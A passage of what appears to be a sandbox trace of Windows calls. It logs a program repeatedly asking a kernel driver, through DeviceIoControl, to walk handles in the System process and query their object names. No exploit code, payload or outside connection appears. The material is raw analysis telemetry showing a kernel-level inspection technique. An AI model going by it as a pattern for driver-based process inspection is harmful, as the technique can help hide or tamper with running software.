hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.684] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.684] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.685] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.685] PsAcquireProcessExitSynchronization () returned 0x0 [0102.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.685] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0102.685] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.685] PsReleaseProcessExitSynchronization () returned 0x2 [0102.685] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.685] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.685] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0102.685] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.685] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.685] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.685] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.685] PsAcquireProcessExitSynchronization () returned 0x0 [0102.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.685] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0102.685] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.685] PsReleaseProcessExitSynchronization () returned 0x2 [0102.685] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.685] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.685] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0102.685] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.685] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.685] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.685] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.685] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.685] PsAcquireProcessExitSynchronization () returned 0x0 [0102.685] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.685] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0102.685] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.686] PsReleaseProcessExitSynchronization () returned 0x2 [0102.686] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.686] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.686] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0102.686] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.686] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.686] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.686] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.686] PsAcquireProcessExitSynchronization () returned 0x0 [0102.686] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.686] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0102.686] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.686] PsReleaseProcessExitSynchronization () returned 0x2 [0102.686] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.686] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.686] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0102.686] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.686] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.686] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.686] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0102.686] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.686] PsAcquireProcessExitSynchronization () returned 0x0 [0102.686] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.686] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 [0102.686] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.686] PsReleaseProcessExitSynchronization () returned 0x2 [0102.686] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.686] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.687] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0102.687] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.687] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.687] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.687] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.687] PsAcquireProcessExitSynchronization () returned 0x0 [0102.687] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.687] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0102.687] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.687] PsReleaseProcessExitSynchronization () returned 0x2 [0102.687] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.687] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.687] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0102.687] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.687] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.687] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.687] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.687] PsAcquireProcessExitSynchronization () returned 0x0 [0102.687] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.687] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0102.687] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.687] PsReleaseProcessExitSynchronization () returned 0x2 [0102.687] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.687] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.687] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0102.687] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.687] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.687] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.687] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.687] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.688] PsAcquireProcessExitSynchronization () returned 0x0 [0102.688] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.688] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0102.688] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.688] PsReleaseProcessExitSynchronization () returned 0x2 [0102.688] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.688] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.688] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0102.688] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.688] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.688] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.688] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.688] PsAcquireProcessExitSynchronization () returned 0x0 [0102.688] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.688] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0102.688] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.688] PsReleaseProcessExitSynchronization () returned 0x2 [0102.688] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.688] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.688] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0102.688] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.688] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.688] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.688] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.688] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.688] PsAcquireProcessExitSynchronization () returned 0x0 [0102.688] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.688] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0102.688] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.688] PsReleaseProcessExitSynchronization () returned 0x2 [0102.689] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.689] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.689] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0102.689] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.689] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.689] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.689] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.689] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.689] PsAcquireProcessExitSynchronization () returned 0x0 [0102.689] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.689] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0102.689] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.689] PsReleaseProcessExitSynchronization () returned 0x2 [0102.689] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.689] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.689] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0102.689] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.689] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.689] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.689] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.689] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.689] PsAcquireProcessExitSynchronization () returned 0x0 [0102.689] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.689] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0102.689] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.689] PsReleaseProcessExitSynchronization () returned 0x2 [0102.689] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.689] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.689] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0102.689] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.689] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.689] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.690] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.690] PsAcquireProcessExitSynchronization () returned 0x0 [0102.690] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.690] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0102.690] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.690] PsReleaseProcessExitSynchronization () returned 0x2 [0102.690] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.690] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.690] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0102.690] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.690] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.690] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0102.690] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.690] PsAcquireProcessExitSynchronization () returned 0x0 [0102.690] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.690] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0102.690] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.690] PsReleaseProcessExitSynchronization () returned 0x2 [0102.690] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.690] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.690] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0102.690] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.690] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.690] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0102.690] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.690] PsAcquireProcessExitSynchronization () returned 0x0 [0102.690] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.690] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0102.690] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.691] PsReleaseProcessExitSynchronization () returned 0x2 [0102.691] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.691] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.691] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0102.691] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.691] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.691] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0102.691] 